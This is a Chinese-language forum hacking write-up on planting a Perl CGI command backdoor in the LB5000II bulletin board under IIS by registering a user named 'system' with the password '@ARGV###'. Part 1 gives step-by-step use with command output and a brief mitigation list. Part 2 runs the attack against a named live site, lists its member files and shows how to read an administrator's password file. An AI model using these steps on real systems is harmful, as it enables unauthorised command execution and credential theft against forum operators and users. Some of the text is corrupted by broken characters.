1.================================
by analysist
http://www.china4lert.org
LB5K可以算是國內最流行的論壇程序了，我以前只發現過一個提升權限的漏洞，比較高的版本基本沒有什么安全問題，但是由于前些日子發現了Perl CGI在IIS下的若干問題，也想到了一些事情，今天花了點時間重新看了一下LB5K，結果發現我們完全可以利用這兩個漏洞搞一個Perl CGI后門。
測試環境：
平臺：Win32
服務器：IIS
支持Perl方式：CGI
LB5K版本：LB5000II v0830
操作步驟：
1.用戶注冊頁面（http://www.notfound.org/lb5000/cgi-bin/register.cgi），輸
入下面信息后提交：
用戶名：system
密碼：@ARGV###（需要輸入兩次）
郵件地址：thiz@thiz.org
2.后門搞定，我們測試一下：
http://www.notfound.org/lb5000/cgi-bin/members/system.cgi?cd
CGI ErrorThe specified CGI application misbehaved by not returning a
complete set of HTTP headers. The headers it did return are:
C:\Inetpub\lb5000\cgi-bin\members
http://www.notfound.org/lb5000/cgi-bin/members/system.cgi?dir
CGI ErrorThe specified CGI application misbehaved by not returning a
complete set of HTTP headers. The headers it did return are:
C:\Inetpub\lb5000\cgi-bin\members 的目錄
2001-10-18 11:23 <DIR> .
2001-10-18 11:23 <DIR> ..
2001-10-18 11:24 162 system.cgi
1 個文件 162 字節
2 個目錄 1,615,261,696 可用字節
是不是很酷？這個后門一般是不會有人發現的啦，當然我們假設管理員不看日志�。篜
臨時解決方法：
1.限制“/cgi-bin/members”只能本地訪問，并去掉該目錄執行權限
2.將“/cgi-bin/members”改名或移到Web目錄外
3.不要使用CGI方式支持Perl，可以暫時改為ISAPI方式
4.過濾特殊的用戶名，如“system”，“require”，“rename”等
5.限制密碼只能為數字和字母組合
PS：BBS3K以及其它所有類似CGI程序都存在此安全問題，只是攻擊方法略有不同。
2.===============================================
http://agebbs.com/bbs/leoboard.cgi
先檢測一下
http://agebbs.com/bbs/members/killweb.cgi?
Unrecognized character \xBA at e:\chinadob\bbs\members\killweb.cgi line 1.
哦是。WINNT系統：）
再來去掉一個s
http://agebbs.com/bbs/member/killweb.cgi?
Can't open perl script "e:\chinadob\bbs\member\killweb.cgi": No such file or directory
：PERL執行的CGI程序的哦，這就是漏洞關鍵
注冊system
密碼要對
郵箱隨便
http://agebbs.com/bbs//members/system.cgi?dir
e:\chinadob 的目錄
2001-09-25 13:27 <DIR> .
2001-09-25 13:27 <DIR> ..
2001-09-25 16:49 <DIR> bbs
2001-09-18 23:01 1,183 index.htm
1 個文件 1,183 字節
3 個目錄 1,226,543,104 可用字節
利用后門找管理員密碼
http://agebbs.com/bbs/members/system.cgi?dir%20bbs\members\
e:\chinadob\bbs\members 的目錄
2001-10-24 04:58 <DIR> .
2001-10-24 04:58 <DIR> ..
2001-10-02 23:05 169 ady_chai.cgi
2001-09-25 17:43 169 agebbs.cgi
2001-09-30 10:18 203 alexzhang.cgi
2001-10-22 19:32 239 allan.cgi
2001-09-29 23:50 161 bampw.cgi
2001-10-16 18:10 242 bixueboy.cgi
2001-09-26 00:45 164 blackdog.cgi
2001-10-20 14:44 237 coolrainfly.cgi
2001-10-19 22:28 174 cwilu.cgi
2001-10-13 23:20 205 draculatie.cgi
2001-10-21 21:02 176 forestbird.cgi
2001-09-25 20:01 169 haifeng44.cgi
2001-10-10 21:11 232 happybabycon.cgi
2001-10-21 11:00 248 hell82.cgi
2001-09-25 17:02 165 hucjs.cgi
2001-10-24 04:13 195 huc嘯狼.cgi
2001-10-19 19:17 222 hurryday.cgi
2001-09-25 13:34 84 index.html
2001-09-30 19:40 164 jacy.cgi
2001-09-29 21:41 174 jiki.cgi
2001-10-23 19:33 223 jimmyfu.cgi
2001-10-20 21:57 235 jshacker.cgi
2001-10-24 04:58 269 killweb.cgi
2001-10-19 17:28 176 lonewolf.cgi
2001-09-26 12:31 174 mini.cgi
2001-09-30 12:36 165 mixter.cgi
2001-10-22 11:13 293 mjjsony.cgi
2001-09-29 21:41 180 neil.cgi
2001-10-17 11:26 200 niuxiaof.cgi
2001-10-23 21:33 391 pc0516.cgi
2001-10-04 14:34 178 phoenix0684.cgi
2001-10-22 21:38 465 pma.cgi
2001-10-16 20:30 167 poplove.cgi
2001-10-14 19:57 219 prayer.cgi
2001-10-20 18:05 397 priscilla.cgi
2001-09-29 16:56 174 qinyanmylove.cgi
2001-10-23 23:23 318 ranma.cgi
2001-09-30 23:29 412 skyshui.cgi
2001-10-24 04:12 167 system.cgi
2001-10-15 11:54 162 tyun.cgi
2001-10-18 23:55 205 wjk.cgi
2001-10-22 18:24 182 x-sword.cgi
2001-09-29 20:27 168 xiaobao.cgi
2001-10-16 19:32 173 xulinling.cgi
2001-10-23 22:18 272 ycitboycm.cgi
2001-10-17 21:07 218 zaza.cgi
2001-10-04 13:02 172 zerocool.cgi
2001-09-29 21:31 167 zgxx.cgi
2001-10-24 02:25 208 ziye.cgi
2001-10-04 17:32 202 zonhua.cgi
2001-10-22 14:35 179 ⊙⊥●.cgi
2001-10-24 04:07 411 ★可樂∮.cgi
2001-10-24 00:06 460 【人民萬歲】.cgi
2001-09-27 14:34 173 九寸釘.cgi
2001-09-25 19:57 167 亮仔.cgi
2001-10-21 16:20 217 仗劍西行.cgi
2001-10-23 22:40 273 令狐沖.cgi
2001-10-20 14:36 170 以德服人.cgi
2001-10-19 19:28 257 會跳舞的豆.cgi
2001-10-09 18:56 201 冰雪浪人.cgi
2001-10-20 19:42 455 凱悅.cgi
2001-10-03 20:11 214 刀巴狼.cgi
2001-10-09 15:12 172 南希.cgi
2001-09-25 19:11 175 南楓.cgi
2001-10-07 05:21 227 南通風速.cgi
2001-10-12 12:14 275 含笑三步顛.cgi
2001-10-19 21:56 250 夏亞.cgi
2001-10-24 00:08 249 天劍神風.cgi
2001-10-01 18:50 232 天地無用1211.cgi
2001-10-01 09:26 188 天空的顏色.cgi
2001-10-13 23:05 241 天賜眼淚.cgi
2001-10-06 21:11 166 天馳翔.cgi
2001-10-20 18:31 174 妞妞.cgi
2001-10-13 15:45 165 封寒月.cgi
2001-10-21 15:54 236 小舞.cgi
2001-10-16 12:14 289 平凡小子.cgi
2001-09-25 17:43 162 廢鐵.cgi
2001-10-19 14:01 169 弈良.cgi
2001-10-06 12:56 214 影子傳說.cgi
2001-10-21 12:38 232 心靈小筑.cgi
2001-10-22 21:49 276 心竹遺痕.cgi
2001-09-25 20:56 172 戰無不勝.cgi
2001-09-25 21:16 170 戴冰.cgi
2001-10-14 13:56 178 星愿jiang.cgi
2001-10-03 20:11 215 曄.cgi
2001-10-23 14:50 192 曄風.cgi
2001-09-25 21:34 221 朔風.cgi
2001-10-06 16:40 187 朝若冰.cgi
2001-10-17 00:05 164 木納.cgi
2001-10-02 17:07 171 夢少白.cgi
2001-09-29 21:01 165 楚州浪子.cgi
2001-10-15 18:40 176 步驚風.cgi
2001-10-07 13:53 239 水蛇郎君.cgi
2001-10-01 15:14 172 滄月水明.cgi
2001-10-07 19:13 163 淚.cgi
2001-09-30 11:19 178 洪浩南.cgi
2001-10-20 14:32 341 流浪.cgi
2001-10-15 19:37 254 浮夢白.cgi
2001-10-09 16:19 175 瀟湘神話.cgi
2001-09-25 20:15 173 火→吻←冰.cgi
2001-10-16 10:14 163 灰馬.cgi
2001-10-03 12:24 227 愛情黑客.cgi
2001-09-26 13:39 178 狼.cgi
2001-09-26 21:44 223 王琴.cgi
2001-09-25 19:23 165 玫黯鷹.cgi
2001-10-21 04:19 175 珂少.cgi
2001-10-03 16:57 299 盜帥�。�！.cgi
2001-10-14 11:14 218 笑塵.cgi
2001-10-22 13:35 169 笨笨.cgi
2001-10-23 14:22 173 紫龍冰使.cgi
2001-10-23 19:11 391 紅日.cgi
2001-10-17 19:46 351 紅紅雨.cgi
2001-10-13 15:38 188 紅色戰士.cgi
2001-10-19 21:56 221 紅蜻蜓.cgi
2001-10-01 15:26 216 絕無神.cgi
2001-10-20 02:40 200 維也納.cgi
2001-10-10 18:13 228 網客紅蝦.cgi
2001-10-19 21:07 287 耐火磚.cgi
2001-10-17 00:05 451 超級巨大謎團.cgi
2001-10-02 18:18 167 阿丁.cgi
2001-09-29 21:20 170 阿虎.cgi
2001-10-10 21:16 164 雨夢.cgi
2001-10-23 22:03 337 雪鼠.cgi
2001-10-21 14:27 550 震天雷.cgi
2001-10-14 16:39 234 靜虛真人.cgi
2001-10-21 16:18 230 非對稱戰爭.cgi
2001-09-26 20:09 165 音樂.cgi
2001-10-10 21:14 166 頤楓.cgi
2001-10-17 02:47 190 風之戀.cgi
2001-10-10 21:34 387 風藍.cgi
2
先看一個管理員密碼
http://agebbs.com/bbs/members/system.cgi?type%20bbs\members\管理員名字.cgi
文章來源于領測軟件測試網 http://www.kjueaiud.com/
